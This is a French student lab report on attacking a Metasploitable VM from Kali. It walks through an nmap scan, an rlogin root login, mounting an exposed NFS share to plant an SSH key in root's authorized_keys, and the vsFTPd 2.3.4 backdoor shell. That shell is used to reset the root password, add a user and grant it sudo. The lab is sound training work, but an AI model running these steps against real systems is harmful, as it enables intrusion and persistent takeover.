Sécurité du cloud - ASSOULINE Jordan 30/03/2017

KALI LINUX 192.168.152.130 Fighter
METASPOILTABLE 192.168.152.135 Defender

Table des matières

Commande sur Kali Linux pour le TP d'attaque sur VM LINUX

Mettre à jour Kali Linux

Faille Berkeley sur les ports 512 - 513 - 514

Scan des ports ouverts sur le machine distante

```
root@kali:~# nmap -p0-65535 192.168.152.135
Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-30 15:45 EDT
Nmap scan report for 192.168.152.135
Host is up (0.000087s latency).
Not shown: 65506 closed ports
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
23/tcp    open  telnet
25/tcp    open  smtp
53/tcp    open  domain
80/tcp    open  http
111/tcp   open  rpcbind
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
512/tcp   open  exec
513/tcp   open  login
514/tcp   open  shell
1099/tcp  open  rmiregistry
1524/tcp  open  ingreslock
2049/tcp  open  nfs
2121/tcp  open  ccproxy-ftp
3306/tcp  open  mysql
3632/tcp  open  distccd
5432/tcp  open  postgresql
5900/tcp  open  vnc
6000/tcp  open  X11
6667/tcp  open  irc
6697/tcp  open  unknown
8009/tcp  open  ajp13
8180/tcp  open  unknown
8787/tcp  open  unknown
36229/tcp open  unknown
38762/tcp open  unknown
44511/tcp open  unknown
45685/tcp open  unknown
MAC Address: 00:0C:29:0B:AD:DF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 1.34 seconds
```

Connexion en rlogin, échange de la clé RSA

```
root@kali:~# rlogin -l root 192.168.152.135
The authenticity of host '192.168.152.135 (192.168.152.135)' can't be established.
RSA key fingerprint is SHA256:BQHm5EoHX9GCiOLuVscegPXLQOsuPs+E9d/rrJB84rk.
Are you sure you want to continue connecting (yes/no)? yes
Warning: Permanently added '192.168.152.135' (RSA) to the list of known hosts.
root@192.168.152.135's password:
Permission denied, please try again.
root@192.168.152.135's password:
Permission denied, please try again.
root@192.168.152.135's password:
Permission denied (publickey,password).
```

Installation du Remote Shell Client

```
root@kali:~# apt-get install rsh-client
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  gdebi-core iproute libcrypto++6 libvpx3 python-ipaddr python-pycryptopp
Use 'apt autoremove' to remove them.
The following NEW packages will be installed:
  rsh-client
0 upgraded, 1 newly installed, 0 to remove and 1352 not upgraded.
Need to get 31.4 kB of archives.
After this operation, 93.2 kB of additional disk space will be used.
Get:1 http://ftp.free.fr/pub/kali kali-rolling/main amd64 rsh-client amd64 0.17-17+b1 [31.4 kB]
Fetched 31.4 kB in 0s (97.9 kB/s)
Selecting previously unselected package rsh-client.
(Reading database ... 318083 files and directories currently installed.)
Preparing to unpack .../rsh-client_0.17-17+b1_amd64.deb ...
Unpacking rsh-client (0.17-17+b1) ...
Setting up rsh-client (0.17-17+b1) ...
update-alternatives: using /usr/bin/netkit-rcp to provide /usr/bin/rcp (rcp) in auto mode
update-alternatives: using /usr/bin/netkit-rsh to provide /usr/bin/rsh (rsh) in auto mode
update-alternatives: using /usr/bin/netkit-rlogin to provide /usr/bin/rlogin (rlogin) in auto mode
Processing triggers for man-db (2.7.6.1-2) ...
```

Connexion avec Remote Login sur la machine distante une fois que les clés RSA sont injecté

```
root@kali:~# rlogin -l root 192.168.152.135
Last login: Thu Mar 30 08:09:39 EDT 2017 from :0.0 on pts/0
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#
```

Rlogin permet de faire du Remote Login, la faille de Berkeley utilise les ports 512-513-514. Lors de l'initiation de la connexion Rlogin permet d'échanger la clé RSA qui permettra par la suite de se connecter sans utiliser le mot de passe.

Faille NSF port 2049 network file system

Scan des ports ouverts

```
nmap -p0-65535 192.168.152.135
```

```
2049/tcp  open  nfs
```

Installer le demon rpc

```
root@kali:~# apt-get install rpcbind
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  gdebi-core iproute libcrypto++6 libvpx3 python-ipaddr python-pycryptopp
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  libtirpc1
The following NEW packages will be installed:
  libtirpc1 rpcbind
0 upgraded, 2 newly installed, 0 to remove and 1352 not upgraded.
Need to get 127 kB of archives.
After this operation, 372 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.free.fr/pub/kali kali-rolling/main amd64 libtirpc1 amd64 0.2.5-1.1 [80.4 kB]
```

```
Get:2 http://ftp.free.fr/pub/kali kali-rolling/main amd64 rpcbind amd64 0.2.3-0.5+b1 [46.1 kB]
Fetched 127 kB in 0s (222 kB/s)
Selecting previously unselected package libtirpc1:amd64.
(Reading database ... 318096 files and directories currently installed.)
Preparing to unpack .../0-libtirpc1_0.2.5-1.1_amd64.deb ...
Unpacking libtirpc1:amd64 (0.2.5-1.1) ...
Selecting previously unselected package rpcbind.
Preparing to unpack .../1-rpcbind_0.2.3-0.5+b1_amd64.deb ...
Unpacking rpcbind (0.2.3-0.5+b1) ...
Processing triggers for libc-bin (2.24-8) ...
Setting up libtirpc1:amd64 (0.2.5-1.1) ...
Processing triggers for systemd (232-8) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up rpcbind (0.2.3-0.5+b1) ...
Created symlink /etc/systemd/system/sockets.target.wants/rpcbind.socket ?
/lib/systemd/system/rpcbind.socket.
update-rc.d: As per Kali policy, rpcbind init script is left disabled.
insserv: warning: current start runlevel(s) (empty) of script `rpcbind' overrides LSB defaults (S).
insserv: warning: current stop runlevel(s) (0 1 6 S) of script `rpcbind' overrides LSB defaults (0 1 6).
Processing triggers for libc-bin (2.24-8) ...
Processing triggers for systemd (232-8) ...


root@kali:~# apt-get install nfs-common
Reading package lists... Done
Building dependency tree
Reading state information... Done
The following packages were automatically installed and are no longer required:
  gdebi-core iproute libcrypto++6 libvpx3 python-ipaddr python-pycryptopp
Use 'apt autoremove' to remove them.
The following additional packages will be installed:
  keyutils libnfsidmap2
Suggested packages:
  open-iscsi watchdog
The following NEW packages will be installed:
  keyutils libnfsidmap2 nfs-common
0 upgraded, 3 newly installed, 0 to remove and 1352 not upgraded.
Need to get 315 kB of archives.
After this operation, 982 kB of additional disk space will be used.
Do you want to continue? [Y/n] y
Get:1 http://ftp.free.fr/pub/kali kali-rolling/main amd64 libnfsidmap2 amd64 0.25-5.1 [32.0 kB]
Get:2 http://ftp.free.fr/pub/kali kali-rolling/main amd64 keyutils amd64 1.5.9-9 [52.7 kB]
Get:3 http://ftp.free.fr/pub/kali kali-rolling/main amd64 nfs-common amd64 1:1.3.4-2 [231 kB]
Fetched 315 kB in 1s (273 kB/s)
Selecting previously unselected package libnfsidmap2:amd64.
(Reading database ... 318124 files and directories currently installed.)
Preparing to unpack .../0-libnfsidmap2_0.25-5.1_amd64.deb ...
Unpacking libnfsidmap2:amd64 (0.25-5.1) ...
Selecting previously unselected package keyutils.
Preparing to unpack .../1-keyutils_1.5.9-9_amd64.deb ...
Unpacking keyutils (1.5.9-9) ...
Selecting previously unselected package nfs-common.
Preparing to unpack .../2-nfs-common_1%3a1.3.4-2_amd64.deb ...
```

```
Unpacking nfs-common (1:1.3.4-2) ...
Setting up libnfsidmap2:amd64 (0.25-5.1) ...
Setting up keyutils (1.5.9-9) ...
Processing triggers for libc-bin (2.24-8) ...
Processing triggers for systemd (232-8) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up nfs-common (1:1.3.4-2) ...

Creating config file /etc/idmapd.conf with new version
Adding system user `statd' (UID 136) ...
Adding new user `statd' (UID 136) with group `nogroup' ...
Not creating home directory `/var/lib/nfs'.
update-rc.d: As per Kali policy, nfs-common init script is left disabled.
insserv: warning: current start runlevel(s) (empty) of script `nfs-common' overrides LSB defaults (S).
insserv: warning: current stop runlevel(s) (0 1 6 S) of script `nfs-common' overrides LSB defaults (0 1 6).
nfs-utils.service is a disabled or a static unit, not starting it.
Processing triggers for systemd (232-8) ...
```

Information sur les RPC

```
root@kali:~# rpcinfo -p 192.168.152.135
   program vers proto   port  service
    100000    2   tcp    111  portmapper
    100000    2   udp    111  portmapper
    100024    1   udp  53133  status
    100024    1   tcp  45323  status
    100003    2   udp   2049  nfs
    100003    3   udp   2049  nfs
    100003    4   udp   2049  nfs
    100021    1   udp  48963  nlockmgr
    100021    3   udp  48963  nlockmgr
    100021    4   udp  48963  nlockmgr
    100003    2   tcp   2049  nfs
    100003    3   tcp   2049  nfs
    100003    4   tcp   2049  nfs
    100021    1   tcp  52409  nlockmgr
    100021    3   tcp  52409  nlockmgr
    100021    4   tcp  52409  nlockmgr


    100005    1   udp  60061  mountd
    100005    1   tcp  60927  mountd
    100005    2   udp  60061  mountd
    100005    2   tcp  60927  mountd
    100005    3   udp  60061  mountd
    100005    3   tcp  60927  mountd
root@kali:~#
```

Afficher les fichiers partagés de la machine distante

```
root@kali:~# showmount -e 192.168.152.135
Export list for 192.168.152.135:
/ *
```

Le /* indique que l'ensemble de la VM est partager par défaut

Génération de la clé SSH

```
root@kali:~# ssh-keygen
Generating public/private rsa key pair.
Enter file in which to save the key (/root/.ssh/id_rsa):
Enter passphrase (empty for no passphrase):
Enter same passphrase again:
Your identification has saved in /root/.ssh/id_rsa.
Your public key has been saved in /root/.ssh/id_rsa.pub.
The key fingerprint is:
SHA256:ii7eZ9rwpFBMwgwBYncU4R9xw2+NtNrXKLnJLWPjhZ8 root@kali
The key's randomart image is:
+---[RSA 2048]----+
|*o ..=o..o       |
|o+. o   o...     |
| + . . o +       |
|  + . .  = .     |
|   o  .S + . o   |
|  . . . . +.o .  |
| . o o   ..*.    |
| .+ *o   Oo..    |
| ...=+o   o.+E   |
+----[SHA256]-----+
root@kali:~#
```

Création d'un dossier pour le montage du repertoire de la machine distante

```
root@kali:~# mkdir /tmp/ifa
root@kali:~# cd /tmp/ifa
root@kali:/tmp/ifa# mount -t nfs 192.168.152.135:/ /tmp/ifa/
root@kali:/tmp/ifa# ls -al
total 8
drwxr-xr-x  2 root root 4096 Mar 30 12:11 .
drwxrwxrwt 13 root root 4096 Mar 30 12:11 ..

root@kali:/tmp/ifa# ls -la /tmp/ifa/
total 104
drwxr-xr-x 21 root root  4096 May 20  2012 .
drwxrwxrwt 13 root root  4096 Mar 30 12:15 ..
drwxr-xr-x  2 root root  4096 May 13  2012 bin
drwxr-xr-x  3 root root  4096 Apr 28  2010 boot
lrwxrwxrwx  1 root root    11 Apr 28  2010 cdrom -> media/cdrom
drwxr-xr-x  2 root root  4096 Apr 28  2010 dev
drwxr-xr-x 94 root root  4096 Mar 30 10:04 etc
drwxr-xr-x  6 root root  4096 Apr 16  2010 home
```

```
drwxr-xr-x  2 root root  4096 Mar 16  2010 initrd
lrwxrwxrwx  1 root root    32 Apr 28  2010 initrd.img -> boot/initrd.img-2.6.24-16-server
drwxr-xr-x 13 root root  4096 May 13  2012 lib
drwx------  2 root root 16384 Mar 16  2010 lost+found
drwxr-xr-x  4 root root  4096 Mar 16  2010 media
drwxr-xr-x  3 root root  4096 Apr 28  2010 mnt
-rw-------  1 root root  7984 Mar 30 08:09 nohup.out
drwxr-xr-x  2 root root  4096 Mar 16  2010 opt
dr-xr-xr-x  2 root root  4096 Apr 28  2010 proc
drwxr-xr-x 13 root root  4096 Mar 30 08:09 root
drwxr-xr-x  2 root root  4096 May 13  2012 sbin
drwxr-xr-x  2 root root  4096 Mar 16  2010 srv
drwxr-xr-x  2 root root  4096 Apr 28  2010 sys
drwxrwxrwt  4 root root  4096 Mar 30 08:10 tmp
drwxr-xr-x 12 root root  4096 Apr 28  2010 usr
drwxr-xr-x 14 root root  4096 Mar 17  2010 var
lrwxrwxrwx  1 root root    29 Apr 28  2010 vmlinuz -> boot/vmlinuz-2.6.24-16-server
```

Injection de la clé ssh publique

```
root@kali:/tmp/ifa# cat ~/.ssh/id_rsa.pub >> /tmp/ifa/root/.ssh/authorized_keys
```

Umout du répertoire afin de ne pas rester connecté

```
root@kali:/tmp/ifa# umount /tmp/ifa
```

Connection en SSH sur la machine via une authentification transparente

```
root@kali:/tmp/ifa# ssh root@192.168.152.135
Last login: Thu Mar 30 09:07:43 2017 from 192.168.152.130
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686

The programs included with the Ubuntu system are free software;
the exact distribution terms for each program are described in the
individual files in /usr/share/doc/*/copyright.

Ubuntu comes with ABSOLUTELY NO WARRANTY, to the extent permitted by
applicable law.

To access official Ubuntu documentation, please visit:
http://help.ubuntu.com/
You have mail.
root@metasploitable:~#
```

Affichage des logs pour ensuite les supprimer

```
root@kali:/tmp/ifa# tail -n 10 /var/log/sys
syslog      syslog.1     syslog.2.gz  syslog.3.gz  syslog.4.gz  syslog.5.gz  syslog.6.gz  syslog.7.gz  sysstat/
root@kali:/tmp/ifa# tail -n 10 /var/log/syslog
Mar 30 12:13:29 kali systemd[1]: Starting RPC bind portmap service...
Mar 30 12:13:29 kali systemd[1]: Started RPC bind portmap service.
Mar 30 12:13:29 kali systemd[1]: Reached target RPC Port Mapper.
Mar 30 12:13:29 kali systemd[1]: Reached target Remote File Systems (Pre).
Mar 30 12:13:29 kali systemd[1]: Started NFS status monitor for NFSv2/3 locking..
Mar 30 12:15:01 kali CRON[3896]: (root) CMD (command -v debian-sa1 > /dev/null && debian-sa1 1 1)
Mar 30 12:17:01 kali CRON[3904]: (root) CMD (   cd / && run-parts --report /etc/cron.hourly)
Mar 30 12:20:06 kali dhclient[645]: DHCPREQUEST of 192.168.152.130 on eth0 to 192.168.152.254 port 67
Mar 30 12:20:06 kali dhclient[645]: DHCPACK of 192.168.152.130 from 192.168.152.254
Mar 30 12:20:06 kali dhclient[645]: bound to 192.168.152.130 -- renewal in 775 seconds.
root@kali:/tmp/ifa#
```

Faille FTP Version 2.3.4

Connexion en telnet sur la machine

```
root@kali:/tmp/ifa# **telnet 192.168.152.135**
Trying 192.168.152.135...
Connected to 192.168.152.135.
Escape character is '^]'.
             _                  _       _ _        _     _      ____
 _ __ ___   ___| |_ __ _ ___ _ __ | | ___ (_) |_ __ _| |__ | | ___|___ \
| '_ ` _ \/ _ \ __/ _` / __| '_ \| |/ _ \| | __/ _` | '_ \| |/ _ \ __) |
| | | | | |  __/ || (_| \__ \ |_) | | (_) | | || (_| | |_) | |  __// __/
|_| |_| |_|\___|\__\__,_|___/ .__/|_|\___/|_|\__\__,_|_.__/|_|\___|_____|
                            |_|


Warning: Never expose this VM to an untrusted network!

Contact: msfdev[at]metasploit.com

Login with msfadmin/msfadmin to get started


metasploitable login:
Connection closed by foreign host.
```

Connexion Telnet avec le port 21

Lors de la connexion si on utilise les caractères :) a la suite de « user gary » le port 6200 s’ouvre. Il est nécessaire de laisser la connexion Telnet ouverte donc il faut ouvrir un autre terminal afin de se connecter en parallèle.

```
root@kali:/tmp/ifa# telnet 192.168.152.135 21
Trying 192.168.152.135...
Connected to 192.168.152.135.
Escape character is '^]'.
220 (vsFTPd 2.3.4)
user gary:)
```

```
root@kali:~# nmap -p6200 192.168.152.135

Starting Nmap 7.25BETA2 ( https://nmap.org ) at 2017-03-30 12:57 EDT
Nmap scan report for 192.168.152.135
Host is up (0.00018s latency).
PORT     STATE SERVICE
6200/tcp open  unknown
MAC Address: 00:0C:29:0B:AD:DF (VMware)

Nmap done: 1 IP address (1 host up) scanned in 0.13 seconds
```

Connexion Telnet sur le port 6200 et vérifier l’user actif

```
root@kali:~# telnet 192.168.152.135 6200
Trying 192.168.152.135...
Connected to 192.168.152.135.
Escape character is '^]'.
id;
uid=0(root) gid=0(root)
```

Modification du password root

```
command passwd;
Enter new UNIX password: proxmox
Retype new UNIX password: proxmox
passwd: password updated successfully
```

Ajout d’un utilisateur

```
command adduser toto;
Adding user `toto' ...
Adding new group `toto' (1003) ...
Adding new user `toto' (1003) with group `toto' ...
Creating home directory `/home/toto' ...
Copying files from `/etc/skel' ...
Enter new UNIX password: proxmox
Retype new UNIX password: proxmox
passwd: password updated successfully
```

```
Changing the user information for toto
Enter the new value, or press ENTER for the default
	Full Name []:
	Room Number []:
	Work Phone []:
	Home Phone []:
	Other []:
y
: command not foundcorrect? [y/N] sh: line 10:
```

Ajout de l’user toto dans sudo

```
command echo "toto	ALL=(ALL) ALL" >> /etc/sudoers;
command cat /etc/sudoers;
# /etc/sudoers
#
# This file MUST be edited with the 'visudo' command as root.
#
# See the man page for details on how to write a sudoers file.
#

Defaults	env_reset

# Uncomment to allow members of group sudo to not need a password
# %sudo ALL=NOPASSWD: ALL

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root	ALL=(ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL
toto	ALL=(ALL) ALL
```